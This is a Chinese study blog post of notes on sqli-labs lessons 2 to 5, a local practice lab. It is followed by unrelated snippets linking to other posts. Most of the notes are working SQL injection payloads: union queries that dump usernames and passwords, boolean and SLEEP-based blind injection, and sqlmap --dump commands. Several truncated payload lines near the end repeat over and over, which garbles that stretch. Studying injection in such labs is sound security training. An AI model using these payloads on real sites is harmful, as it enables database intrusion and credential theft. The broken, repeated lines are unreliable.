sqli-labs学习笔记 DAY2
DAY2
sqli-labs lesson 2
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-2/
- Parameter:id
- 注入点检测:id=2;–+
- 回显点检测:id=2+UNION+SELECT+1,2,3;–+
- 字段数猜解:id=2+ORDER+BY+3;–+
- 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
- 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
- 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
- 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
- sqlmap
- 命令:python sqlmap.py
- 注入点检测:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
- 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
- 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
- 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
- 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump
sqli-labs lesson 3
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-3/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 与上一题完全相同
sqli-labs lesson 4
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-4/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 同lesson 2
sqli-labs lesson 5
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-5/
- Parameter:id
- 布尔型注入
- 检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+0;--+
- 说明:如果存在注入点,网页返回与id=1的结果不同,如果把0改成1,则相同
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,1,0);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,1,0);–+
- left()函数:left(STRING, LENGTH)返回字符串左边LENGTH个字符
- substring(string, pos, length)返回字符串string从pos开始的length长度的子字符串
- 也可以使用ascii()函数把字符转成ascii来二分法猜解
- 可以借助Burpsuit实现半自动化简化过程,通过返回网页的长度来判断返回值

http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a利用延迟来注入
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+SLEEP(5);--+
- 说明:如果存在注入点,网页的返回会延迟5S,可以通过开发者工具观察返回时间的变化
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,SLEEP(5),1);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,SLEEP(5),1);–+
- 字段数、表名等语法类似
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- sqlmap
- 同lesson 2
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
sqli-labs学习笔记 DAY2的更多相关文章
- 《从零开始学Swift》学习笔记(Day2)——使用Web网站编写Swift代码
Swift 2.0学习笔记——使用Web网站编写Swift代码 原创文章,欢迎转载.转载请注明:关东升的博客 Swift程序不能在Windows其他平台编译和运行,有人提供了一个网站swiftstub ...
- Python学习笔记 - day2 - PyCharm的基本使用
什么是IDE 开始学习的小白同学,一看到这三个字母应该是懵逼的,那么我们一点一点来说. 既然学习Python语言我们就需要写代码,那么代码写在哪里呢? 在记事本里写 在word文档里写 在sublim ...
- python网络爬虫与信息提取 学习笔记day2
Day2: 查看robots协议: 查看京东的robots协议 查看百度的robots协议,可以看到百度拒绝了搜狗的爬虫233 爬取京东商品页面相关信息: import requests url = ...
- oracle学习笔记day2
第三章:单值函数 函数分为: 1.单值函数 1.字符函数 2.日期函数 3.转换函数 4.数字函数 2.分组函数(后面的章节再做学习) 哑表dual dual是一个虚拟表,用来构成select的语法规 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day2
一.集成开发环境 集成开发环境(IDE,Integrated development Enviroment)是用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面等工具.集 ...
- [python学习笔记]Day2
摘要: 对象 对于python来说,一切事物都是对象,对象基于类创建: 注:查看对象相关成员 var,type,dir 基本数据类型和序列 int内部功能 class int(object): def ...
- 学习笔记DAY2
Pycharm使用 1.添加模板 file => settings =>Editor=>file and code template => python script => ...
- python学习笔记-Day2 Numpy数组
1. 实现两个数组相加,在数据量特别大的时候 产生数组: (1) 从列表产生数组:a=[0,1,2,3] a=np.array(1) a (2) 从列表传入 a=np.array([1,2,3,4 ...
随机推荐
- 轻量ORM-SqlRepoEx (十七)SqlRepoEx 2.30 版本更新说明
.Net平台下兼容.NET Standard 2.0,一个实现以Lambda表达式转转换标准SQL语句,支持MySQL.SQL Server数据库方言,使用强类型操作数据的轻量级ORM工具,在减少魔法 ...
- 一次JVM内存调优过程
项目中,有个同事写的JOB,使用到查询数据库大量历史协议数据(大概300W左右),由于对存放数据的list或map没有做“用完即时声明释放”. 导致此Jar部署在windows service后,进程 ...
- Node调试
之前调试node代码简单粗暴,直接在代码打印日志,控制台观察日志,效率低下~ 原来后端node代码也可以通过Chrome断点调试,以下是调试方法. (1)找到node启动的进程 ps aux|grep ...
- sql 事务处理 与 try catch
begin transaction tr declare @error int; ; select * from Car_Brand set @error=@error+@@ERROR set @er ...
- ACM1012:u Calculate e
Problem Description A simple mathematical formula for e iswhere n is allowed to go to infinity. This ...
- 基于EasyX库的贪吃蛇游戏——C语言实现
接触编程有段时间了,一直想学习怎么去写个游戏来练练手.在看了B站上的教学终于可以自己试试怎么实现贪吃蛇这个游戏了.好了,废话不多说,我们来看看如何用EasyX库来实现贪吃蛇. 一.准备 工具vc++6 ...
- golang基础--strcut结构体
结构体struct类似python语言中的类class,结构体类的元素可以是一个变量,或者函数或者其它的类型,好比python的属性和方法. // struct结构体,类似python语言中的clas ...
- 阻止Quartus优化掉信号
使用SignalTap II Logic Analyzer观察信号,有时要观察的信号会被Quartus优化掉,这种情况下可以给信号指定属性.以下例子均使用Verilog. 1. 如果是组合逻辑信号,可 ...
- 20155203 2016-2017-2《Java程序设计》课程总结
目录 一.每周作业链接汇总 自认为写得最好一篇博客是?为什么? 作业中阅读量最高的一篇博客是?谈谈经验 作业中与师生交互最多的一篇博客是?谈谈收获 二.实验报告链接汇总 三.代码托管链接 四.课堂项目 ...
- 20155320 2016-2017-2《Java程序设计》第十周学习总结
20155320 2016-2017-2<Java程序设计>第十周学习总结 教材学习内容总结 本周学习目标 了解计算机网络基础 掌握Java Socket编程 理解混合密码系统 掌握Jav ...